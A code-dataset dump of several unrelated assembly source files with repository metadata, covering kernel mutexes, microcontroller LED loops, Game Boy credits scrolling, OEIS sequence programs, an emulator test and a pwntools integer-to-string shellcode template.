@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FolderGetFolderRecordTargetDisk %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return the disk handle of the target of the link pointed to by this folder record CALLED BY: CheckFileListCB, FolderCheckIDIsKidsTarget PASS: ds:di - FolderRecord of link CWD set to folder's dir RETURN: if error carry set ax - FileError else carry clear bx - target disk handle DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 2/ 1/93 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FolderGetFolderRecordTargetDisk proc near uses ax,cx,dx,si,bp,es .enter EC < call ECCheckFolderRecordDSDI > mov bx, ds:[di].FR_trueDH tst bx jnz done push di ; FolderRecord lea si, ds:[di].FR_name call ShellAllocPathBuffer ; es:di - target mov cx, size PathName clr dx, bx call FileConstructActualPath ; bx, es:di - actual path call ShellFreePathBuffer pop di ; FolderRecord jc done ; ; Store the disk handle, in case we ever need it again ; mov ds:[di].FR_trueDH, bx done: .leave ret FolderGetFolderRecordTargetDisk endp endif ; OPEN_CLOSE_NOTIFICATION FolderPathCode ends
20.812065
71
0.591862
ded96fd5e3fbe5b1bc0abd5842e9eff1a1715081
146
asm
Assembly
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/英語_PAL/pal_asm/zel_end3.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/英語_PAL/pal_asm/zel_end3.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/英語_PAL/pal_asm/zel_end3.asm
prismotizm/gigaleak
d082854866186a05fec4e2fdf1def0199e7f3098
[ "MIT" ]
null
null
null
Name: zel_end3.asm Type: file Size: 14545 Last-Modified: '2016-05-13T04:25:37Z' SHA-1: F10EA18AB034AB6A46CA7EA0B430C658AFF2947C Description: null
20.857143
47
0.815068
f19023722d354f3fa92ce0116fe69ba8b1b9bdb2
762
asm
Assembly
programs/oeis/165/A165868.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/165/A165868.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/165/A165868.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A165868: Totally multiplicative sequence with a(p) = 47. ; 1,47,47,2209,47,2209,47,103823,2209,2209,47,103823,47,2209,2209,4879681,47,103823,47,103823,2209,2209,47,4879681,2209,2209,103823,103823,47,103823,47,229345007,2209,2209,2209,4879681,47,2209,2209,4879681,47,103823,47,103823,103823,2209,47,229345007,2209,103823,2209,103823,47,4879681,2209,4879681,2209,2209,47,4879681,47,2209,103823,10779215329,2209,103823,47,103823,2209,103823,47,229345007,47,2209,103823,103823,2209,103823,47,229345007,4879681,2209,47,4879681,2209,2209,2209,4879681,47,4879681,2209,103823,2209,2209,2209,10779215329,47,103823,103823,4879681 seq $0,1222 ; Number of prime divisors of n counted with multiplicity (also called bigomega(n) or Omega(n)). mov $1,47 pow $1,$0 mov $0,$1
95.25
562
0.791339
12af1637ef8a0bc2b368e4713700ab661d093867
2,886
asm
Assembly
LEDS-Main.asm
trenete97/CI-LABS
1f926c608a96dd0e86870985ce624303320e29a9
[ "Apache-2.0" ]
null
null
null
LEDS-Main.asm
trenete97/CI-LABS
1f926c608a96dd0e86870985ce624303320e29a9
[ "Apache-2.0" ]
null
null
null
LEDS-Main.asm
trenete97/CI-LABS
1f926c608a96dd0e86870985ce624303320e29a9
[ "Apache-2.0" ]
null
null
null
config PLLDIV = 2 ; (8 MHz crystal on EASYPIC6 board) config CPUDIV = OSC1_PLL2 ; No dividim. Treballem a 8MHz config USBDIV = 2 ; Clock source from 96MHz PLL/2 config FOSC = HS ;sense PLL config FCMEN = OFF config IESO = OFF config PWRT = OFF config BOR = ON config BORV = 3 config VREGEN = ON ;USB Voltage Regulator config WDT = OFF config WDTPS = 32768 config MCLRE = ON config LPT1OSC = OFF config PBADEN = OFF ; config CCP2MX = ON config STVREN = ON config LVP = OFF ; config ICPRT = OFF ; Dedicated In-Circuit Debug/Programming config XINST = OFF ; Extended Instruction Set config CP0 = OFF config CP1 = OFF ; config CP2 = OFF ; config CP3 = OFF config CPB = OFF ; config CPD = OFF config WRT0 = OFF config WRT1 = OFF ; config WRT2 = OFF ; config WRT3 = OFF config WRTB = OFF ; Boot Block Write Protection config WRTC = OFF ; config WRTD = OFF config EBTR0 = OFF config EBTR1 = OFF ; config EBTR2 = OFF ; config EBTR3 = OFF config EBTRB = OFF ;==================================================================== ; Main.asm file generated by New Project wizard ; ; Created: sá. oct. 8 2016 ; Processor: PIC18F4550 ; Compiler: MPASM (Proteus) ;==================================================================== ;==================================================================== ; DEFINITIONS ;==================================================================== #include p18f4550.inc ; Include register definition file ;==================================================================== ; VARIABLES ;==================================================================== ;==================================================================== ; RESET and INTERRUPT VECTORS ;==================================================================== ; Reset Vector RST code 0x0 goto Start ;==================================================================== ; CODE SEGMENT ;==================================================================== PGM code Start MOVLW 0x0F MOVWF ADCON1,0 ;I/O digitals MOVLW 0xFF MOVWF TRISB,0 ;PORTB IN MOVLW 0x00 MOVWF TRISA,0 ;PORTA OUT mentre MOVF PORTB, 0, 0 ;W<--PORTB BZ mentre XORWF PORTA, 1, 0 espera MOVF PORTB, 0, 0 ;W<--PORTB BNZ espera goto mentre ;==================================================================== END
32.066667
76
0.38115
88d6c108ecaa3867c279490d7d13b55299523dae
2,637
asm
Assembly
src/credits.asm
Gegel85/BTTGB
4efeb1470759f0c391a0543649f3bd9a96a17eef
[ "MIT" ]
1
2020-03-28T22:38:50.000Z
2020-03-28T22:38:50.000Z
src/credits.asm
Gegel85/BTTGB
4efeb1470759f0c391a0543649f3bd9a96a17eef
[ "MIT" ]
null
null
null
src/credits.asm
Gegel85/BTTGB
4efeb1470759f0c391a0543649f3bd9a96a17eef
[ "MIT" ]
null
null
null
strncpy:: xor a or b or c ret z ld a, [hli] or a ret z ld [de], a inc de dec bc jr strncpy credits:: reset CREDITS_SLIDING call waitVBLANK reset LCD_CONTROL ld de, $9800 ld a, 1 ld bc, $800 call fillMemory reg VRAM_BANK_SELECT, 1 ld de, $9800 xor a ld bc, $800 call fillMemory reset VRAM_BANK_SELECT ld hl, creditsText ld bc, creditsTextEnd - creditsText ld de, $9800 call copyMemory ld hl, creditTextArray ld de, $9840 ld bc, $20 call strncpy reg WY, $90 reg WX, $7 reg LYC, $F inc a ld [CREDITS_CURRENT_LINE], a reset CREDITS_SLIDING reg CREDITS_LAST_ADDR_H, h reg CREDITS_LAST_ADDR_L, l reg CREDITS_LINE_POS, $80 ld hl, STAT_CONTROL set 6, [hl] ei reg INTERRUPT_ENABLED, LCD_STAT_INTERRUPT reg LCD_CONTROL, LCD_BASE_CONTROL .loop: ld a, [LY] cp $90 jr z, .loop .loop2: ld a, [LY] cp $90 jr nz, .loop2 ld a, [CREDITS_SLIDING] ld hl, CREDITS_LINE_POS bit 1, a jr z, .inc dec [hl] dec [hl] ld a, $A0 cp [hl] jr z, .nextLine jp .skip .inc: inc [hl] inc [hl] jr z, .nextLine jp .skip .nextLine: ld hl, CREDITS_SLIDING bit 1, [hl] jr z, .newLine reset CREDITS_LINE_POS ld a, [CREDITS_CURRENT_LINE] ld e, a xor a rl e rla or a rl e rla add $98 ld d, a ld a, 1 ld bc, $20 call fillMemory ld a, [LYC] add a, $10 ld [LYC], a inc a ld [CREDITS_CURRENT_LINE], a xor a ld hl, CREDITS_LINES or [hl] jr z, .nextText dec [hl] jp .skip .newLine: reg CREDITS_LINE_POS, $A0 ld a, [CREDITS_LAST_ADDR_H] ld h, a ld a, [CREDITS_LAST_ADDR_L] ld l, a xor a or [hl] jr z, .nextText ld a, [LYC] add a, $10 ld [LYC], a inc a ld [CREDITS_CURRENT_LINE], a ld e, a xor a rl e rla or a rl e rla add $98 ld d, a ld bc, $20 call strncpy ld a, h ld [CREDITS_LAST_ADDR_H], a ld a, l ld [CREDITS_LAST_ADDR_L], a ld hl, CREDITS_LINES inc [hl] jr .skip .nextText: reg CREDITS_CURRENT_LINE, $10 dec a ld [LYC], a ld hl, CREDITS_SLIDING ld a, %10 xor [hl] ld [hl], a jr z, .newText reset CREDITS_LINE_POS jr .skip .newText: reset CREDITS_LINES ld hl, CREDITS_LAST_ADDR_H ld a, [hli] ld b, a ld a, [hl] ld c, a ld h, b ld l, c inc hl ld a, l cp a, creditTextArrayEnd & $FF jr nz, .ok ld a, h cp a, creditTextArrayEnd >> 8 jr z, .mainMenu .ok: ld de, $9840 ld bc, $20 call strncpy reg CREDITS_LINE_POS, $A0 ld a, h ld [CREDITS_LAST_ADDR_H], a ld a, l ld [CREDITS_LAST_ADDR_L], a .skip: call updateMusics call getKeys xor $FF jr nz, .mainMenu jp .loop .mainMenu: ld hl, STAT_CONTROL res 6, [hl] reg INTERRUPT_ENABLED, VBLANK_INTERRUPT reset SCROLL_X di jp mainMenu.lateInit
12.208333
42
0.66022
2cc0a10bb529827764f1184a43e5f4e823b3cc7f
484
asm
Assembly
unittests/ASM/X87_F64/FLDCW_F64.asm
Seas0/FEX
4f4263263b560b0a25e0d48555d5b99ca12c938f
[ "MIT" ]
null
null
null
unittests/ASM/X87_F64/FLDCW_F64.asm
Seas0/FEX
4f4263263b560b0a25e0d48555d5b99ca12c938f
[ "MIT" ]
null
null
null
unittests/ASM/X87_F64/FLDCW_F64.asm
Seas0/FEX
4f4263263b560b0a25e0d48555d5b99ca12c938f
[ "MIT" ]
null
null
null
%ifdef CONFIG { "Env": { "FEX_X87REDUCEDPRECISION" : "1" }, "RegData": { "RAX": "0x3", "RBX": "0x2" } } %endif lea rbp, [rel data] mov rdx, 0xe0000000 mov rcx, 0xe0004000 ; save fcw fnstcw [rdx] ; set rounding to truncate mov eax, 0 mov ax, [rdx] or ah, 0xc mov [rdx+8], ax fldcw [rdx+8] fld dword [rbp] fistp dword [rdx+16] mov ebx, [rdx+16] ; restore fcw fldcw [rdx] fld dword [rbp] fistp dword[rdx+16] mov eax, [rdx+16] hlt align 8 data: dd 0x40266666 ; 2.6
12.410256
45
0.626033
a4917750f8dd79a57145c083c7ced2b540874d6c
370
asm
Assembly
src/main/resources/bigram/romhandler.asm
EgonOlsen71/basicv2
3519b9f60747cdeb9ccf3b81428ab952d22e913e
[ "Unlicense" ]
71
2016-08-09T20:12:50.000Z
2022-03-25T08:17:48.000Z
src/main/resources/bigram/romhandler.asm
EgonOlsen71/basicv2
3519b9f60747cdeb9ccf3b81428ab952d22e913e
[ "Unlicense" ]
35
2017-01-04T17:35:08.000Z
2021-11-05T11:09:06.000Z
src/main/resources/bigram/romhandler.asm
EgonOlsen71/basicv2
3519b9f60747cdeb9ccf3b81428ab952d22e913e
[ "Unlicense" ]
12
2018-08-20T03:12:42.000Z
2021-09-21T00:30:11.000Z
JMP SKIPROMHANDLER ; *** ROMHANDLER *** ;################################### ENABLEROM PHA LDA $1 ORA #$1 STA $1 PLA RTS BRBUFFER .ARRAY 255 ;################################### DISABLEROM PHA LDA $1 AND #$FE STA $1 PLA RTS ;################################### ; *** ROMHANDLER END *** SKIPROMHANDLER JSR DISABLEROM
16.818182
37
0.391892
a0a1977aabff5e4ae5ae2e285dd86274b8bfe364
4,341
asm
Assembly
src/00/concurrency.asm
Willem3141/kernel
c7b72f75b78a9b23e66432801f8d8df1727637ed
[ "MIT" ]
251
2015-01-08T17:46:33.000Z
2022-03-30T07:51:17.000Z
src/00/concurrency.asm
Willem3141/kernel
c7b72f75b78a9b23e66432801f8d8df1727637ed
[ "MIT" ]
32
2015-01-16T08:47:29.000Z
2020-01-30T18:31:21.000Z
src/00/concurrency.asm
Willem3141/kernel
c7b72f75b78a9b23e66432801f8d8df1727637ed
[ "MIT" ]
35
2015-01-27T18:23:57.000Z
2022-02-26T19:47:08.000Z
;; mutexLock [Concurrency] ;; Atomically locks a mutex. ;; Inputs: ;; HL: Pointer to mutex byte ;; Notes: ;; The application should have already initialized the mutex with [[initMutex]]. ;; ;; This function blocks until the mutex is locked. ;; ;; Interrupts will be enabled to do a context switch (if needed) and will be ;; restored to their original state afterwards. mutexLock: push af ; There is not a set-and-check instruction on z80, ; so interrupts must be disabled for the check. ld a, i push af _: di ld a, (hl) inc a jr z, _ ei call contextSwitch jr -_ _: call getCurrentThreadID ld (hl), a pop af jp po, _ ei _: pop af ret ;; mutexUnlock [Concurrency] ;; Atomically unlocks a mutex. ;; Inputs: ;; HL: Pointer to mutex byte ;; Outputs: ;; Z: Set on success, reset on failure ;; A: Error code (on failure) ;; Notes: ;; If the mutex is not locked already by this thread, an error will be returned. mutexUnlock: push af call getCurrentThreadID cp (hl) jr z, _ inc sp \ inc sp ld a, errMutexNotLocked or 1 ret _: pop af ; jr mutexInit ;; mutexInit [Concurrency] ;; Initializes a mutex byte at (HL). ;; Inputs: ;; HL: Pointer to mutex byte mutexInit: ld (hl), 0xFF ret ;; condInit [Concurrency] ;; Returns a pointer to a new condition variable. ;; Outputs: ;; Z: Set on success, reset on failure ;; A: Error code (on failure) ;; IX: Pointer to condition variable (on success) ;; Notes: ;; This allocates memory for the condition variable. You should deallocate it ;; with [[free]] when you're done. condInit: push af push bc ; Up to maxThreads-1 may wait. (All threads waiting would never awaken.) ; The extra byte is the counter. ld bc, maxThreads ld a, 1 call calloc jr nz, .fail pop bc pop af cp a ret .fail: pop bc inc sp \ inc sp ;pop af ret ;; condWait [Concurrency] ;; Blocks until another thread notifies the condition variable. ;; Inputs: ;; HL: Pointer to locked mutex ;; IX: Pointer to condition variable ;; Notes: ;; This function will enable interrupts. ;; ;; You must provide a pre-initialized mutex and condition variable to this ;; function. This function will release the mutex and suspend the thread, ;; then awaken it when the condition variable is notified. The mutex will ;; then be reacquired. condWait: push af push ix push de inc (ix) ld e, (ix) ld d, 0 add ix, de pop de call getCurrentThreadID ld (ix), a call mutexUnlock call suspendCurrentThread call mutexLock _: pop ix pop af ret ;; condNotifyAll [Concurrency] ;; Awakens all threads waiting on a condition variable. ;; Inputs: ;; IX: Pointer to condition variable ;; Notes: ;; Threads awoken by this mechanism should check to see if the condition variable ;; they were waiting for is still true. ;; ;; The thread calling this function must lock the associated mutex before invoking ;; this function, and release it afterwards. condNotifyAll: push af push bc push ix ld b, (ix) _: inc ix ld a, (ix) call resumeThread djnz -_ pop ix ld (ix), 0 pop bc pop af ret ;; condNotifyOne [Concurrency] ;; Awakens the thread that has been waiting the longest on a condition variable. ;; Inputs: ;; IX: Pointer to condition variable ;; Notes: ;; Threads awoken by this mechanism should check to see if the condition variable ;; they were waiting for is still true. ;; ;; The thread calling this function must lock the associated mutex before invoking ;; this function, and release it afterwards. condNotifyOne: push af push bc push hl push ix \ pop hl xor a or (hl) jr z, .done dec (hl) ld b, (hl) inc hl ld a, (hl) call resumeThread xor a or b jr z, .done push de push hl \ pop de inc hl ldir pop de .done: pop hl pop bc pop af ret
23.983425
83
0.606312
2f686ec3ca6cdee0998e408430a3fd4e3b104d7a
866
asm
Assembly
oeis/184/A184032.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/184/A184032.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/184/A184032.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A184032: 1/16 the number of (n+1) X 3 0..3 arrays with all 2 X 2 subblocks having the same four values. ; Submitted by Jon Maiga ; 28,40,61,103,181,337,637,1237,2413,4765,9421,18733,37261,74317,148237,296077,591373,1181965,2362381,4723213,9443341,18883597,37761037,75515917,151019533,302026765,604028941,1208033293,2416017421,4831985677,9663873037,19327647757,38655098893,77310001165,154619609101,309238824973,618476863501,1236952940557,2473904308237,4947807043597,9895610941453,19791218737165,39582431182861,79164856074253,158329699565581,316659386548237,633318747930637,1266637470695437,2533274891059213,5066549731786765 mov $3,$0 seq $0,209726 ; 1/4 the number of (n+1) X 8 0..2 arrays with every 2 X 2 subblock having distinct clockwise edge differences. mov $2,2 add $3,1 pow $2,$3 add $0,$2 sub $0,18 mul $0,2 add $0,$2 sub $0,2 div $0,2 mul $0,3 add $0,28
48.111111
493
0.797921
4d86d0ff4628c8480bf60bc76b34397fabfdddb5
1,481
asm
Assembly
pwnlib/shellcraft/templates/i386/itoa.asm
DrKeineLust/pwntools
415f11bba7096b7d68fe144f5b3432b9c12a4f0a
[ "MIT" ]
8,966
2015-01-02T11:58:14.000Z
2022-03-31T21:19:56.000Z
pwnlib/shellcraft/templates/i386/itoa.asm
DrKeineLust/pwntools
415f11bba7096b7d68fe144f5b3432b9c12a4f0a
[ "MIT" ]
1,401
2015-01-01T00:56:22.000Z
2022-03-31T16:19:53.000Z
pwnlib/shellcraft/templates/i386/itoa.asm
DrKeineLust/pwntools
415f11bba7096b7d68fe144f5b3432b9c12a4f0a
[ "MIT" ]
1,844
2015-01-07T04:38:06.000Z
2022-03-30T03:54:46.000Z
<% from pwnlib.shellcraft import pretty, common, registers from pwnlib.shellcraft.i386 import mov, pushstr from pwnlib import constants %> <%docstring> Converts an integer into its string representation, and pushes it onto the stack. Arguments: v(str, int): Integer constant or register that contains the value to convert. alloca Example: >>> sc = shellcraft.i386.mov('eax', 0xdeadbeef) >>> sc += shellcraft.i386.itoa('eax') >>> sc += shellcraft.i386.linux.write(1, 'esp', 32) >>> run_assembly(sc).recvuntil(b'\x00') b'3735928559\x00' </%docstring> <%page args="v, buffer='esp', allocate_stack=True"/> <% itoa_loop = common.label('itoa_loop') size_loop = common.label('size_loop') assert v in registers.i386 %>\ /* atoi(${pretty(v,0)}) */ %if allocate_stack and buffer=='esp': sub esp, 0x10 %endif ## We need to know how long the string is, in order for ## the beginning of the string to be *exactly* at esp. ${mov('edi', buffer)} ${mov('eax', v)} push eax /* save for later */ ${size_loop}: ${mov('edx', 0)} ${mov('ecx', 10)} div ecx inc edi test eax, eax jnz ${size_loop} dec edi ## Now we begin the actual division process pop eax ${itoa_loop}: ${mov('edx', 0)} ## ecx is already 10 div ecx add dl, ${ord('0')} mov BYTE PTR [edi], dl dec edi test eax, eax jnz ${itoa_loop} ## null terminate ${mov('edx', 0)} mov BYTE PTR [edi], dl inc edi
23.887097
72
0.627279
0121470d494efc6419245cbd547e3ba87397845f
40
asm
Assembly
src/main/fragment/mos6502-common/_deref_qvoc1=vwum1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/main/fragment/mos6502-common/_deref_qvoc1=vwum1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/main/fragment/mos6502-common/_deref_qvoc1=vwum1.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
lda {m1} sta {c1} lda {m1}+1 sta {c1}+1
8
10
0.55
e09e9f5da93a0d1926a8463cdf71691da133c005
864
asm
Assembly
programs/oeis/141/A141683.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/141/A141683.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/141/A141683.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A141683: a(n) = Sum_{k=1..n} b(k)*a(n - k) for n >= 1, where b(n) = b(n-2) + b(n-3) for n >= 3 with b(0) = 0 and b(1) = b(2) = 1. ; 1,1,2,4,9,19,41,88,189,406,872,1873,4023,8641,18560,39865,85626,183916,395033,848491,1822473,3914488,8407925,18059374,38789712,83316385,178955183,384377665,825604416,1773314929,3808901426,8181135700,17572253481,37743426307,81069068969,174128175064,374009739309,803335158406,1725482812088,3706162868209,7960463650791,17098272199297,36725362369088,78882370418473,169431367355946,363921470561980,781666575692345,1678940884172251,3606195506118921,7745743850155768 mov $5,2 mov $6,$0 lpb $5 mov $0,$6 sub $0,1 mul $0,2 mov $2,$0 sub $0,$0 mov $1,1 add $2,1 mov $3,1 sub $5,1 lpb $2 lpb $1 mov $4,$0 mov $0,$1 sub $1,$1 lpe mov $1,$3 sub $1,$4 sub $2,1 add $3,$0 lpe lpe
30.857143
461
0.671296
114187bc22471d6da641a656e1ca399a7342f524
370
asm
Assembly
Second course/4th semester/Assembler/Lab4/lr04-4/lr04-4-2.asm
tekcellat/University
9a0196a45c9cf33ac58018d636c3e4857eba0330
[ "MIT" ]
null
null
null
Second course/4th semester/Assembler/Lab4/lr04-4/lr04-4-2.asm
tekcellat/University
9a0196a45c9cf33ac58018d636c3e4857eba0330
[ "MIT" ]
null
null
null
Second course/4th semester/Assembler/Lab4/lr04-4/lr04-4-2.asm
tekcellat/University
9a0196a45c9cf33ac58018d636c3e4857eba0330
[ "MIT" ]
7
2020-12-04T07:26:46.000Z
2022-03-08T17:47:47.000Z
EXTRN X: byte PUBLIC exit SD2 SEGMENT para 'DATA' Y db 'Y' SD2 ENDS SC2 SEGMENT para public 'CODE' assume CS:SC2, DS:SD2 exit: mov bx, ds mov ax, SD2 mov ds, ax mov ah, Y mov ds, bx mov al, X xchg ah, al mov X, al mov bx, SD2 mov ds, bx mov Y, ah mov dl, Y mov ah, 2 int 21h mov ax, 4c00h int 21h SC2 ENDS END
10.882353
31
0.575676
2c205697c70afae8bf853e8b0d6a314179036baf
686
asm
Assembly
oeis/042/A042406.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/042/A042406.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/042/A042406.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A042406: Numerators of continued fraction convergents to sqrt(731). ; Submitted by Jon Maiga ; 27,730,39447,1065799,57592593,1556065810,84085146333,2271855016801,122764256053587,3316906768463650,179235729753090687,4842681610101912199,261684042675256349433,7070311833842023346890,382058523070144517081493,10322650434727743984547201,557805181998368319682630347,15071062564390672375415566570,814395183659094676592123225127,22003741021359946940362742644999,1189016410337096229456180226055073,32125446820122958142257228846131970,1735963144696976835911346537917181453 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 dif $2,2 mul $2,27 add $3,$2 lpe mov $0,$3
40.352941
468
0.841108
080e81ab2174480b3faf7fceb6d1babac3c5d1ae
425
asm
Assembly
programs/oeis/224/A224456.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/224/A224456.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/224/A224456.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A224456: The Wiener index of the cyclic phenylene with n hexagons (n>=3). ; 459,1008,1845,3024,4599,6624,9153,12240,15939,20304,25389,31248,37935,45504,54009,63504,74043,85680,98469,112464,127719,144288,162225,181584,202419,224784,248733,274320,301599,330624,361449,394128,428715,465264,503829,544464,587223,632160 add $0,1 mov $1,$0 mov $2,5 add $2,$0 mul $1,$2 mul $1,$2 sub $2,3 sub $1,$2 sub $1,33 mul $1,9 add $1,459
28.333333
240
0.741176
33ec011f06f4d6598f6cdf92fa6a505e16ffd450
372
asm
Assembly
libsrc/_DEVELOPMENT/string/c/sccz80/strncasecmp_callee.asm
UnivEngineer/z88dk
9047beba62595b1d88991bc934da75c0e2030d07
[ "ClArtistic" ]
1
2022-03-08T11:55:58.000Z
2022-03-08T11:55:58.000Z
libsrc/_DEVELOPMENT/string/c/sccz80/strncasecmp_callee.asm
UnivEngineer/z88dk
9047beba62595b1d88991bc934da75c0e2030d07
[ "ClArtistic" ]
2
2022-03-20T22:17:35.000Z
2022-03-24T16:10:00.000Z
libsrc/_DEVELOPMENT/string/c/sccz80/strncasecmp_callee.asm
jorgegv/z88dk
127130cf11f9ff268ba53e308138b12d2b9be90a
[ "ClArtistic" ]
null
null
null
; int strncasecmp(const char *s1, const char *s2, size_t n) SECTION code_clib SECTION code_string PUBLIC strncasecmp_callee EXTERN asm_strncasecmp strncasecmp_callee: pop hl pop bc pop de ex (sp),hl ex de,hl jp asm_strncasecmp ; SDCC bridge for Classic IF __CLASSIC PUBLIC _strncasecmp_callee defc _strncasecmp_callee = strncasecmp_callee ENDIF
13.777778
59
0.768817
5b2bf809ccba89a356e9b5dec20b2fd4e29b568a
94
asm
Assembly
kernel/arch/x86/i686/idt_asm.asm
turbocat2001/hummingbird
74a673aa76baf66471545ce4bae6f6973826a21d
[ "BSD-2-Clause" ]
null
null
null
kernel/arch/x86/i686/idt_asm.asm
turbocat2001/hummingbird
74a673aa76baf66471545ce4bae6f6973826a21d
[ "BSD-2-Clause" ]
null
null
null
kernel/arch/x86/i686/idt_asm.asm
turbocat2001/hummingbird
74a673aa76baf66471545ce4bae6f6973826a21d
[ "BSD-2-Clause" ]
null
null
null
bits 32 section .text align 4 global idt_load idt_load: mov eax, [esp + 4] lidt [eax] ret
9.4
19
0.691489
6a452c2d60cfc4c11688c08de2fd0f0ce502d99c
287
asm
Assembly
programs/oeis/113/A113217.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/113/A113217.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/113/A113217.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A113217: Parity of decimal digital root of n. ; 0,1,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,1 sub $0,1 mod $0,9 add $0,1 mod $0,2
35.875
201
0.543554
b83a13ed2e038f5356bb720c09dc49843b8006d1
931
asm
Assembly
source/graphics/palettes.asm
cppchriscpp/ld44
012b0a15083a01ab8cbf56cc98de025d3e1d0e5c
[ "MIT" ]
3
2019-11-08T10:28:01.000Z
2020-01-11T17:22:16.000Z
source/graphics/palettes.asm
cppchriscpp/ld44
012b0a15083a01ab8cbf56cc98de025d3e1d0e5c
[ "MIT" ]
null
null
null
source/graphics/palettes.asm
cppchriscpp/ld44
012b0a15083a01ab8cbf56cc98de025d3e1d0e5c
[ "MIT" ]
null
null
null
; All this does is put the raw bytes in the palettes you export from nesst into the rom, then give it ; an address to reference. These are prefixed with an underscore (_) because that's how C knows that they ; are meant to be accessible from our C code. Don't forget to use .export on new items! _titlePalette: .incbin "graphics/palettes/title.pal" _errorPalette: .incbin "graphics/palettes/error.pal" _mainBgPalette: .incbin "graphics/palettes/main_bg.pal" _mainSpritePalette: .incbin "graphics/palettes/main_sprite.pal" _titleAniPalette: .incbin "graphics/palettes/title_ani.pal" ; The .export command tells our assembler that these are meant to be available to C. So does the name... ; both do that. There's more complex details, but if I'm honest I don't know them myself, so I can't document ; them here. .export _titlePalette, _errorPalette, _mainBgPalette, _mainSpritePalette, _titleAniPalette
42.318182
109
0.761547
276a7cad182d034e563fec44a79c328093e9784a
4,951
asm
Assembly
assembler/forth/term.asm
MRebhan/RetroComputers-XC8010
a55dc3975304710029bacd66fd54ea5635396af9
[ "MIT" ]
2
2016-11-16T14:03:31.000Z
2017-01-06T20:33:37.000Z
assembler/forth/term.asm
MRebhan/RetroComputers-XC8010
a55dc3975304710029bacd66fd54ea5635396af9
[ "MIT" ]
null
null
null
assembler/forth/term.asm
MRebhan/RetroComputers-XC8010
a55dc3975304710029bacd66fd54ea5635396af9
[ "MIT" ]
